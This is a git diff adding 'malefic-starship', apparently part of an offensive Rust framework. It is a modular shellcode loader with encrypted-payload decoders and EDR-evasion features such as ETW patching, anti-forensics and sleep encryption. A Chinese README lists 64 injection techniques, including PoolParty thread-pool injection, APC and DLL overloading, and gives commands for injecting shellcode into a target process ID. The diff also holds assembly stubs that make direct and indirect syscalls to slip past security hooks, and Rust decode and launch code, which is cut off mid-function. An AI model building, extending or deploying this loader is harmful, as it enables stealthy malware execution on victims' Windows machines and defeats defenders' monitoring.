"d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "slice-pool" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "733fc6e5f1bd3a8136f842c9bdea4e5f17c910c2fcc98c90c3aa7604ef5e2e7a" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.26.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fec0f0aef304996cf250b31b5a10dee7980c85da9d759361292b8bca5a18f06" + +[[package]] +name = "strum_macros" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c6bee85a5a24955dc440386795aa378cd9cf82acd5f764469152d2270e581be" +dependencies = [ + "heck 0.5.0", + "proc-macro2", + "quote", + "rustversion", + "syn 2.0.117", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8a559c81686f576e8cd0290cd2a24a2a9ad80c98b3478856500fcbd7acd704" +dependencies = [ + "cfg-if", + "fastrand", + "getrandom", + "once_cell", + "rustix 0.38.44", + "windows-sys 0.59.0", +] + +[[package]] +name = "termcolor" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "textwrap" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057" + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "users" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24cc0f6d6f267b73e5a2cadf007ba8f9bc39c6a6f9666f8cf25ea809a153b032" +dependencies = [ + "libc", + "log", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result", + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "zerocopy" +version = "0.8.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a789c6e490b576db9f7e6b6d661bcc9799f7c0ac8352f56ea20193b2681532e5" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f65c489a7071a749c849713807783f70672b28094011623e200cb86dcb835953" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/malefic-starship/Cargo.toml b/malefic-starship/Cargo.toml new file mode 100644 index 0000000..fba3bde --- /dev/null +++ b/malefic-starship/Cargo.toml @@ -0,0 +1,81 @@ +[package] +name = "malefic-starship" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_starship" +path = "src/lib.rs" + +[[bin]] +name = "starship" +path = "src/main.rs" + +[build-dependencies] +cc = "1.0" +bindgen = "0.72.1" +syn = { version = "2", features = ["parsing", "full"] } +quote = "1" +# Pin tempfile to avoid getrandom 0.4 (requires edition 2024) +tempfile = "=3.15.0" + +[dependencies] +malefic-os-win = { path = "../malefic-crates/win" } +malefic-codec = { path = "../malefic-crates/codec" } +malefic-evader = { path = "../malefic-crates/evader", default-features = false } +malefic-features = { path = "../malefic-crates/features" } + +[features] +default = [] + +# Debug output +debug = ["malefic-evader/debug"] + +# Loader features (Community Edition: 2 basic templates) +basic_template = [] # Basic template (no-op example) +func_ptr = [] # Function pointer self-injection + +# Encoding features - forwarded to malefic-codec +enc_xor = ["malefic-codec/codec_xor"] +enc_uuid = ["malefic-codec/codec_uuid"] +enc_mac = ["malefic-codec/codec_mac"] +enc_ipv4 = ["malefic-codec/codec_ipv4"] +enc_base64 = ["malefic-codec/codec_base64"] +enc_base45 = ["malefic-codec/codec_base45"] +enc_base58 = ["malefic-codec/codec_base58"] +enc_aes = ["malefic-codec/codec_aes"] +enc_aes2 = ["malefic-codec/codec_aes2"] +enc_des = ["malefic-codec/codec_des"] +enc_chacha = ["malefic-codec/codec_chacha"] +enc_rc4 = ["malefic-codec/codec_rc4"] + +# Embedded payload support +embedded_payload = [] # Include payload from generated/ directory + +# ── Evasion features ────────────────────────────────────────────────────────── +evader_anti_emu = ["malefic-evader/evader_anti_emu"] +evader_etw_pass = ["malefic-evader/evader_etw_pass"] +evader_god_speed = ["malefic-evader/evader_god_speed"] +evader_sleep_encrypt = ["malefic-evader/evader_sleep_encrypt"] +evader_anti_forensic = ["malefic-evader/evader_anti_forensic"] +evader_cfg_patch = ["malefic-evader/evader_cfg_patch"] +evader_api_untangle = ["malefic-evader/evader_api_untangle"] +evader_normal_api = ["malefic-evader/evader_normal_api"] +evader_full = [ + "evader_anti_emu", + "evader_etw_pass", + "evader_god_speed", + "evader_sleep_encrypt", + "evader_anti_forensic", + "evader_cfg_patch", + "evader_api_untangle", + "evader_normal_api", +] + +[profile.release] +opt-level = "z" +lto = true +strip = true +panic = "abort" + +[workspace] diff --git a/malefic-starship/README.md b/malefic-starship/README.md new file mode 100644 index 0000000..f0d3155 --- /dev/null +++ b/malefic-starship/README.md @@ -0,0 +1,93 @@ +# Malefic Starship + +模å—化 shellcode loader 框架。 + +``` +Load → Decode → Evade → Execute +``` + +所有组件通过 Cargo feature é—¨æŽ§ï¼Œåªæœ‰å¯ç”¨çš„部分会编译进最终二进制。 + +> è¯¦ç»†æ–‡æ¡£è§ [docs/opsec/starship.md](../docs/opsec/starship.md) + +## 快速开始 + +```bash +# 基础 loader +cargo build --features func_ptr + +# 加密 payload + è§„é¿ +cargo build --features sifu_syscall,enc_aes,evader_full + +# 内嵌 payload + 全混淆 +cargo build --features func_ptr,embedded_payload,obf_full + +# 全家桶 +cargo build --features sifu_syscall,enc_aes,evader_full,obf_full +``` + +## Features + +### æž„å»ºæ¨¡å¼ + +| Feature | 说明 | +|---------|------| +| `source`(默认) | 从æºç ç¼–译 FFI 绑定 | +| `prebuild` | 链接预编译库 | +| `embedded_payload` | 编译时内嵌 payload | +| `debug` | å¯ç”¨è°ƒè¯•输出 | + +### Loader(64 ç§ï¼‰ + +| 类别 | Features | +|------|----------| +| 自注入 | `func_ptr` `basic_template` `fiber_exec` `atexit_callback` `tls_callback` `threadpool_work` | +| Syscall | `direct_syscall` `indirect_syscall` `halos_gate` `ninja_syscall` `sifu_syscall` `sifu_syscall_v2` `sifu_cityhash` `indirect_syscall_halo_stack` `edr_sps_v1` `edr_sps_v2_halo` | +| 远程注入 | `userland_api` `nt_api_remote` `nt_api_dynamic` `remote_mockingjay` `remote_thread_self` `thread_hijack` `woodpecker` | +| APC | `apc_nttestalert` `apc_write` `apc_protect` `apc_ex2` `apc_dll_overload` `apc_dll_overload_peb` `apc_dll_overload_v2` `threadless_apc` `phantom_dll_apc` | +| DLL | `dll_overload` `dll_overload_apc` `dll_entrypoint_hijack` `dll_notification` `phantom_dll_indirect` | +| 回调 | `enum_fonts` `list_planting` `uuid_enum_locales` `mac_enum_locales` `callback_final` | +| VEH/异常 | `veh_rop` `veh_vch` `veh_debug_reg` `veh_indirect_syscall` `exception_debug` `hwbp_exec` `hwbp_xor` | +| Hook | `rtl_thread_hook` `rop_trampoline` `jump_code_peb` `vmt_hook` `vmt_trampoline` `vt_ptr_redirect` `rc4_variant` | +| PoolParty | `pool_party_v1_worker_factory` `pool_party_v2_tp_work` `pool_party_v3_tp_wait` `pool_party_v4_tp_io` `pool_party_v5_tp_alpc` `pool_party_v6_tp_job` `pool_party_v7_tp_direct` `pool_party_v8_tp_timer` | + +#### PoolParty 线程池注入 (V1-V8) + +基于 [PoolParty](https://github.com/SafeBreach-Labs/PoolParty)(Black Hat EU 2023)的 8 ç§ Windows 线程池注入技术,通过æ“纵目标进程的线程池内部结构实现 shellcode 执行。所有å˜ä½“å‡ä¸ºè¿œç¨‹æ³¨å…¥ï¼Œéœ€è¦æŒ‡å®šç›®æ ‡ PID。 + +```bash +# 编译å•个å˜ä½“ +cargo build --features pool_party_v7_tp_direct,source --release + +# æ‰§è¡Œï¼ˆå‚æ•°: shellcode文件 目标PID) +./target/release/starship.exe shellcode.bin 1234 +``` + +| Variant | 技术 | è§¦å‘æ–¹å¼ | +|---------|------|----------| +| V1 | Worker Factory StartRoutine 覆写 | NtSetInformationWorkerFactory 增加 ThreadMinimum | +| V2 | 远程 TP_WORK æ’å…¥ | 修改目标 TaskQueue 链表 | +| V3 | 远程 TP_WAIT æ’å…¥ | CreateEvent + NtAssociateWaitCompletionPacket + SetEvent | +| V4 | 远程 TP_IO æ’å…¥ | NtSetInformationFile + é‡å  WriteFile | +| V5 | 远程 TP_ALPC æ’å…¥ | NtAlpcCreatePort + NtAlpcConnectPort | +| V6 | 远程 TP_JOB æ’å…¥ | CreateJobObject + AssignProcessToJobObject | +| V7 | 远程 TP_DIRECT æ’å…¥ | ZwSetIoCompletion 直接投递 | +| V8 | 远程 TP_TIMER æ’å…¥ | 修改 TimerQueue + NtSetTimer2 | + +> V8 çš„ `POOL_TIMER_QUEUE_OFFSET` 在 Windows 11 24H2 上为 0x70,与旧版本ä¸åŒã€‚ + +### ç¼–ç ï¼ˆ12 ç§ï¼‰ + +`enc_xor` `enc_rc4` `enc_aes` `enc_aes2` `enc_des` `enc_chacha` `enc_base64` `enc_base45` `enc_base58` `enc_uuid` `enc_mac` `enc_ipv4` + +### è§„é¿ï¼ˆ8 ç§ï¼‰ + +`evader_anti_emu` `evader_god_speed` `evader_api_untangle` `evader_etw_pass` `evader_cfg_patch` `evader_normal_api` `evader_sleep_encrypt` `evader_anti_forensic` + +`evader_full` å¯ç”¨å…¨éƒ¨ã€‚ + +### 混淆(4 ç§ï¼‰ + +`obf_strings` `obf_junk` `obf_memory` `obf_flow` + +`obf_full` = `obf_strings` + `obf_junk` + `obf_memory` diff --git a/malefic-starship/asm/direct_syscall.asm b/malefic-starship/asm/direct_syscall.asm new file mode 100644 index 0000000..b7b16db --- /dev/null +++ b/malefic-starship/asm/direct_syscall.asm @@ -0,0 +1,35 @@ +; direct_syscall.asm - MASM syntax for ml64.exe +; Direct syscall stubs for NtAllocateVirtualMemory, NtWriteVirtualMemory, +; NtCreateThreadEx, NtWaitForSingleObject + +.CODE + +_NtAllocateVirtualMemory_stub PROC + mov r10, rcx + mov eax, 018h + syscall + ret +_NtAllocateVirtualMemory_stub ENDP + +_NtWriteVirtualMemory_stub PROC + mov r10, rcx + mov eax, 03Ah + syscall + ret +_NtWriteVirtualMemory_stub ENDP + +_NtCreateThreadEx_stub PROC + mov r10, rcx + mov eax, 0C7h + syscall + ret +_NtCreateThreadEx_stub ENDP + +_NtWaitForSingleObject_stub PROC + mov r10, rcx + mov eax, 04h + syscall + ret +_NtWaitForSingleObject_stub ENDP + +END diff --git a/malefic-starship/asm/edr_syscall_1.asm b/malefic-starship/asm/edr_syscall_1.asm new file mode 100644 index 0000000..6424ee3 --- /dev/null +++ b/malefic-starship/asm/edr_syscall_1.asm @@ -0,0 +1,52 @@ +global _NtAllocateVirtualMemory_stub +global _NtWriteVirtualMemory_stub +global _NtCreateThreadEx_stub +global _NtWaitForSingleObject_stub +global _NtProtectVirtualMemory_stub + +extern sysAddrNtAllocateVirtualMemory +extern sysAddrNtWriteVirtualMemory +extern sysAddrNtCreateThreadEx +extern sysAddrNtWaitForSingleObject +extern sysAddrNtProtectVirtualMemory +extern edrJumpAddressR11_15 +extern edrRetAddr + +section .text + +_NtProtectVirtualMemory_stub: + mov r10, rcx + mov eax, 0x50 + ;jmp qword [rel sysAddrNtProtectVirtualMemory] + mov r11, qword [rel sysAddrNtProtectVirtualMemory] + mov r12, [rel edrJumpAddressR11_15] + jmp r12 + + +_NtAllocateVirtualMemory_stub: + mov r10, rcx + xor eax, eax + add eax, 0x18 + mov r11, qword [rel sysAddrNtAllocateVirtualMemory] + mov r12, [rel edrJumpAddressR11_15] + jmp r12 + +_NtWriteVirtualMemory_stub: + mov r10, rcx + mov eax, 0x3A + mov r11, qword [rel sysAddrNtWriteVirtualMemory] + mov r12, [rel edrJumpAddressR11_15] + ;mov r13, qword [rel edrRetAddr] + ;push r13 + jmp r12 + +_NtCreateThreadEx_stub: + mov r10, rcx + mov eax, 0xC7 + jmp qword [rel sysAddrNtCreateThreadEx] + +_NtWaitForSingleObject_stub: + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] + diff --git a/malefic-starship/asm/edr_syscall_2.asm b/malefic-starship/asm/edr_syscall_2.asm new file mode 100644 index 0000000..90aa4c9 --- /dev/null +++ b/malefic-starship/asm/edr_syscall_2.asm @@ -0,0 +1,72 @@ +global _NtAllocateVirtualMemory_stub +global _NtWriteVirtualMemory_stub +global _NtCreateThreadEx_stub +global _NtWaitForSingleObject_stub + +global _NtAllocateVirtualMemory_stub_nothooked +global _NtWriteVirtualMemory_stub_nothooked +global _NtCreateThreadEx_stub_nothooked +global _NtWaitForSingleObject_stub_nothooked + +extern sysAddrNtAllocateVirtualMemory +extern sysAddrNtWriteVirtualMemory +extern sysAddrNtCreateThreadEx +extern sysAddrNtWaitForSingleObject +extern callRax + +section .text + +_NtAllocateVirtualMemory_stub: + ;mov r10, rcx + mov rax, qword [rel sysAddrNtAllocateVirtualMemory] + jmp rax + ;mov r14, qword [rel callRax] + ;call r14 + ;ret + + +; NtWriteVirtualMemory has 4 mandatory arguments, so it is fine to clobber the call stack. +_NtWriteVirtualMemory_stub: + ;mov r10, rcx + mov rax, qword [rel sysAddrNtWriteVirtualMemory] + ;jmp rax + mov r15, qword [rel callRax] + call r15 + ret + +_NtCreateThreadEx_stub: + ;mov r10, rcx + mov rax, qword [rel sysAddrNtCreateThreadEx] + mov r11, [rel callRax] + jmp r11 + +_NtWaitForSingleObject_stub: + ;mov r10, rcx + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] + + + +_NtAllocateVirtualMemory_stub_nothooked: + mov r10, rcx + mov eax, 0x18 + jmp qword [rel sysAddrNtAllocateVirtualMemory] + +_NtWriteVirtualMemory_stub_nothooked: + mov r10, rcx + mov eax, 0x3A + jmp qword [rel sysAddrNtWriteVirtualMemory] + +_NtCreateThreadEx_stub_nothooked: + mov r10, rcx + mov eax, 0xC7 + jmp qword [rel sysAddrNtCreateThreadEx] + +_NtWaitForSingleObject_stub_nothooked: + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] + + + diff --git a/malefic-starship/asm/indirect_syscall.asm b/malefic-starship/asm/indirect_syscall.asm new file mode 100644 index 0000000..1d600eb --- /dev/null +++ b/malefic-starship/asm/indirect_syscall.asm @@ -0,0 +1,31 @@ +global _NtAllocateVirtualMemory_stub +global _NtWriteVirtualMemory_stub +global _NtCreateThreadEx_stub +global _NtWaitForSingleObject_stub + +extern sysAddrNtAllocateVirtualMemory +extern sysAddrNtWriteVirtualMemory +extern sysAddrNtCreateThreadEx +extern sysAddrNtWaitForSingleObject + +section .text + +_NtAllocateVirtualMemory_stub: + mov r10, rcx + mov eax, 0x18 + jmp qword [rel sysAddrNtAllocateVirtualMemory] + +_NtWriteVirtualMemory_stub: + mov r10, rcx + mov eax, 0x3A + jmp qword [rel sysAddrNtWriteVirtualMemory] + +_NtCreateThreadEx_stub: + mov r10, rcx + mov eax, 0xC7 + jmp qword [rel sysAddrNtCreateThreadEx] + +_NtWaitForSingleObject_stub: + mov r10, rcx + mov eax, 0x4 + jmp qword [rel sysAddrNtWaitForSingleObject] diff --git a/malefic-starship/asm/woodpecker_assm.asm b/malefic-starship/asm/woodpecker_assm.asm new file mode 100644 index 0000000..c0d1c2e --- /dev/null +++ b/malefic-starship/asm/woodpecker_assm.asm @@ -0,0 +1,71 @@ +; woodpecker_assm.asm +; NASM syntax - compatible with nasm -f win64 + +global NtAllocateMemory +global NtWriteMemory +global NtProtectMemory +global NtCreateThd +global NtQueueApc2 + +extern NtAllocateMemory +extern NtWriteMemory +extern NtProtectMemory +extern NtCreateThd +extern NtQueueApc2 + +section .text + +NtAllocateMemory: + mov r8, r10 + xor r10, r10 + mov r10, 0x0A + mov r10, rcx + xor eax, eax + sub r8, r10 + add eax, 0x18 + xor r8, r8 + syscall + ret + +NtWriteMemory: + add rcx, 0x0A + xor eax, eax + mov r10, rcx + add eax, 0x3A + sub r10, 0x0A + sub rcx, 0x0A + syscall + ret + +NtProtectMemory: + add r10, 0x1C + xor eax, eax + mov r10, rcx + sub r10, 0x1 + add eax, 0x50 + add r10, 0x1 + syscall + ret + +NtQueueApc2: + mov r10, rcx + mov eax, 0x171 + syscall + ret + +NtQueueApc: + mov r10, rcx + mov eax, 0x170 + syscall + ret + +NtCreateThd: + mov r10, rcx + mov eax, 0xC7 + syscall + test rax, rax + jz .done + + +.done: + ret diff --git a/malefic-starship/src/decoder/mod.rs b/malefic-starship/src/decoder/mod.rs new file mode 100644 index 0000000..5ebea23 --- /dev/null +++ b/malefic-starship/src/decoder/mod.rs @@ -0,0 +1,38 @@ +//! Payload decoder module +//! Feature-gated decoders delegating to malefic-codec + +#[cfg(feature = "enc_xor")] +pub use malefic_codec::xor; + +#[cfg(feature = "enc_uuid")] +pub use malefic_codec::uuid; + +#[cfg(feature = "enc_mac")] +pub use malefic_codec::mac; + +#[cfg(feature = "enc_ipv4")] +pub use malefic_codec::ipv4; + +#[cfg(feature = "enc_base64")] +pub use malefic_codec::base64 as base64_dec; + +#[cfg(feature = "enc_base45")] +pub use malefic_codec::base45; + +#[cfg(feature = "enc_base58")] +pub use malefic_codec::base58; + +#[cfg(any(feature = "enc_aes", feature = "enc_aes2"))] +pub use malefic_codec::aes as aes_dec; + +#[cfg(feature = "enc_aes2")] +pub use malefic_codec::aes2; + +#[cfg(feature = "enc_des")] +pub use malefic_codec::des as des_dec; + +#[cfg(feature = "enc_chacha")] +pub use malefic_codec::chacha; + +#[cfg(feature = "enc_rc4")] +pub use malefic_codec::rc4; diff --git a/malefic-starship/src/launch.rs b/malefic-starship/src/launch.rs new file mode 100644 index 0000000..6351b20 --- /dev/null +++ b/malefic-starship/src/launch.rs @@ -0,0 +1,392 @@ +//! Starship Launch — reusable API wrapping malefic-starship's +//! Load → Decode → Evade → Execute pipeline. + +use crate::loaders::common::Shellcode; + +/// Load shellcode from a file on disk. +pub fn load_shellcode(path: &str) -> Result { + let data = std::fs::read(path).map_err(|e| format!("Failed to read: {}", e))?; + Ok(Shellcode::new(data)) +} + +/// Decode an encoded payload using whichever encoding feature is enabled. +/// +/// If no encoding feature is active, returns `encoded` as-is. +#[allow(unused_variables)] +pub fn decode_payload(encoded: &[u8], key: &[u8], extra: &[u8]) -> Vec { + #[cfg(feature = "enc_xor")] + { return crate::decoder::xor::decode(encoded, key, extra); } + + #[cfg(feature = "enc_uuid")] + { return crate::decoder::uuid::decode(encoded, key, extra); } + + #[cfg(feature = "enc_mac")] + { return crate::decoder::mac::decode(encoded, key, extra); } + + #[cfg(feature = "enc_ipv4")] + { return crate::decoder::ipv4::decode(encoded, key, extra); } + + #[cfg(feature = "enc_base64")] + { return crate::decoder::base64_dec::decode(encoded, key, extra); } + + #[cfg(feature = "enc_base45")] + { return crate::decoder::base45::decode(encoded, key, extra); } + + #[cfg(feature = "enc_base58")] + { return crate::decoder::base58::decode(encoded, key, extra); } + + #[cfg(feature = "enc_aes")] + { return crate::decoder::aes_dec::decode(encoded, key, extra); } + + #[cfg(feature = "enc_aes2")] + { return crate::decoder::aes2::decode(encoded, key, extra); } + + #[cfg(feature = "enc_des")] + { return crate::decoder::des_dec::decode(encoded, key, extra); } + + #[cfg(feature = "enc_chacha")] + { return crate::decoder::chacha::decode(encoded, key, extra); } + + #[cfg(feature = "enc_rc4")] + { return crate::decoder::rc4::decode(encoded, key, extra); } + + // No encoding feature enabled — pass through raw data + #[allow(unreachable_code)] + encoded.to_vec() +} + +/// Returns `true` if any encoding feature is enabled at compile time. +pub fn has_encoding() -> bool { + cfg!(any( + 